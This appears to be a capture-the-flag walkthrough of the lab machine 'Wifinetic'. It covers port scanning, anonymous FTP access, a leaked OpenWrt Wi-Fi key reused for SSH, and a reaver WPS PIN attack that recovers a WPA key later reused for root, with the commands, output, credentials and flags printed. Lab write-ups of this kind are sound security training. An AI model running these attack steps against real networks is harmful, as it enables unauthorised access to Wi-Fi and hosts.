

Information Gathering

1) Open ports have been found

```
(vigneswar@vigneswar)-[~]
$ nmap 10.10.11.247 -Pn
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-13 21:32 IST
Nmap scan report for 10.10.11.247
Host is up (0.63s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain

Nmap done: 1 IP address (1 host up) scanned in 49.56 seconds
```

2) found some files in ftp server anonymous login

```
(vigneswar@vigneswar)-[~/wifinetic]
$ ftp 10.10.11.247
Connected to 10.10.11.247.
220 (vsFTPD 3.0.3)
Name (10.10.11.247:vigneswar): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
lsftp> ls
229 Entering Extended Passive Mode (|||49670|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r-- 1 ftp ftp 2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r-- 1 ftp ftp 60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r-- 1 ftp ftp 40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r-- 1 ftp ftp 52946 Jul 31 11:03 employees_wellness.pdf
226 Directory send OK.
```

3) got random information from installed files

HR Manager

samantha.wood93@wifinetic.htb

Wifinetic

Date: 21/12/2023

To: all_employees@wifinetic.htb

info@wifinetic.htb

+44 7583 433 434

wifinetic.htb

10 Downing St, London
SW1A 2AA, United
Kingdom



@wifinetic

Wifinetic

Date: 21/12/2023

To: management@wifinetic.htb

Subject: Project Proposal - Migrating from OpenWRT to Debian

Oliver Walker

Wireless Network Administrator

olivia.walker17@wifinetic.htb

```
(vigneswar@vigneswar)-[~/wifinetic/etc]  
$ cat passwd  
root:x:0:0:root:/root:/bin/ash  
daemon:*:1:1:daemon:/var:/bin/false  
ftp:*:55:55:ftp:/home/ftp:/bin/false  
network:*:101:101:network:/var:/bin/false  
nobody:*:65534:65534:nobody:/var:/bin/false  
ntp:x:123:123:ntp:/var/run/ntp:/bin/false  
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false  
logd:x:514:514:logd:/var/run/logd:/bin/false  
ubus:x:81:81:ubus:/var/run/ubus:/bin/false  
netadmin:x:999:999::/home/netadmin:/bin/false
```

```
./config/wireless
```

```
config wifi-device 'radio0'
    option type 'mac80211'
    option path 'virtual/mac80211_hwsim/hwsim0'
    option cell_density '0'
    option channel 'auto'
    option band '2g'
    option txpower '20'

config wifi-device 'radio1'
    option type 'mac80211'
    option path 'virtual/mac80211_hwsim/hwsim1'
    option channel '36'
    option band '5g'
    option htmode 'HE80'
    option cell_density '0'

config wifi-iface 'wifinet0'
    option device 'radio0'
    option mode 'ap'
    option ssid 'OpenWrt'
    option encryption 'psk'
    option key 'VeRyUniUqWiFiPasswrd1!'
    option wps_pushbutton '1'

config wifi-iface 'wifinet1'
    option device 'radio1'
    option mode 'sta'
    option network 'wwan'
    option ssid 'OpenWrt'
    option encryption 'psk'
    option key 'VeRyUniUqWiFiPasswrd1!'
```

Vulnerability Assessment

1) Checking for password reuse

```
(vigneswar@vigneswar)-[~/wifinetic]
$ ssh 10.10.11.247 -l netadmin
netadmin@10.10.11.247's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-162-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

System information as of Wed 13 Sep 2023 04:51:19 PM UTC

System load:          0.0
Usage of /:           64.2% of 4.76GB
Memory usage:         6%
Swap usage:           0%
Processes:            226
Users logged in:      0
IPv4 address for eth0: 10.10.11.247
IPv6 address for eth0: dead:beef::250:56ff:feb9:4613
IPv4 address for wlan0: 192.168.1.1
IPv4 address for wlan1: 192.168.1.23

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
  just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Last login: Tue Sep 12 12:46:00 2023 from 10.10.14.23
netadmin@wifinetic:~$
```

yes, the password was reused

got the user flag

```
netadmin@wifinetic:~$ cat user.txt
ba35998f966ebbb1bdbca257a1cdb855
netadmin@wifinetic:~$
```

Privilege Escalation

1) found running processes

```
netadmin@wifinetic:~$ ps aux | grep /usr
_laurel 761 0.0 0.1 10320 6360 ? S< 16:02 0:00 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 794 0.0 0.2 47544 10624 ? Ss 16:02 0:00 /usr/bin/VGAuthService
root 795 0.1 0.2 237776 8224 ? Ssl 16:02 0:04 /usr/bin/vmtoolsd
root 919 0.0 0.2 239432 9480 ? Ssl 16:02 0:00 /usr/lib/accountsservice/accounts-daemon
message+ 921 0.0 0.1 7568 4756 ? Ss 16:02 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 941 0.0 0.0 81960 3820 ? Ssl 16:02 0:00 /usr/sbin/irqbalance --foreground
root 945 0.0 0.2 236444 9156 ? Ssl 16:02 0:00 /usr/lib/policykit-1/polkitd --no-debug
syslog 951 0.0 0.1 224344 5536 ? Ssl 16:02 0:00 /usr/sbin/rsyslogd -n -iNONE
root 958 0.0 0.9 801388 36140 ? Ssl 16:02 0:00 /usr/sbin/snapd/snapd
root 961 0.0 0.3 395496 13472 ? Ssl 16:02 0:00 /usr/lib/udisks2/udisksd
root 1005 0.0 0.3 318828 13628 ? Ssl 16:02 0:00 /usr/sbin/ModemManager
root 1150 0.0 0.0 6816 2900 ? Ss 16:02 0:00 /usr/sbin/cron -f
root 1160 0.0 0.0 6972 3516 ? Ss 16:02 0:00 /bin/bash /usr/local/bin/wps_check.sh
daemon 1165 0.0 0.0 3796 2136 ? Ss 16:02 0:00 /usr/sbin/atd -f
root 1168 0.0 0.0 6808 2960 ? Ss 16:02 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
dnsmasq 1192 0.0 0.0 12176 2468 ? S 16:02 0:00 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service
--trust-anchor=,20326,8,2,e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc683457104237c7f8ec8d
root 1193 0.0 0.1 12184 7448 ? Ss 16:02 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 6374 0.0 0.0 10236 2964 ? Ss 17:02 0:00 /usr/sbin/hostapd -B -P /run/hostapd.pid -B /etc/hostapd/hostapd.conf
netadmin 6408 0.0 0.0 6432 720 pts/0 R+ 17:02 0:00 grep --color=auto /usr
```

hostapd seems interesting

2) found interface in monitor mode

```
netadmin@wifinetic:~$ iwconfig
hwsim0 no wireless extensions.

wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

lo no wireless extensions.

wlan1 IEEE 802.11 ESSID:"OpenWrt"
Mode:Managed Frequency:2.412 GHz Access Point: 02:00:00:00:00:00
Bit Rate:11 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=70/70 Signal level=-30 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:8 Missed beacon:0

mon0 IEEE 802.11 Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

eth0 no wireless extensions.

wlan0 IEEE 802.11 Mode:Master Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
```

3) found a wpa password


```
netadmin@wifinetic:~$ reaver -i mon0 -b 02:00:00:00:00:00
```

```
Reaver v1.6.5 WiFi Protected Setup Attack Tool  
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
```

```
[+] Waiting for beacon from 02:00:00:00:00:00  
[+] Received beacon from 02:00:00:00:00:00  
[!] Found packet with bad FCS, skipping...  
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)  
[+] WPS PIN: '12345670'  
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'  
[+] AP SSID: 'OpenWrt'  
netadmin@wifinetic:~$
```

4) Checking for root password reuse

```
netadmin@wifinetic:~$ su root  
Password:  
root@wifinetic:/home/netadmin# cd /root  
root@wifinetic:~# cat root.txt  
deaef34cfdb99f5c6d1579ba915e5344  
root@wifinetic:~#
```

Yes, the password is reused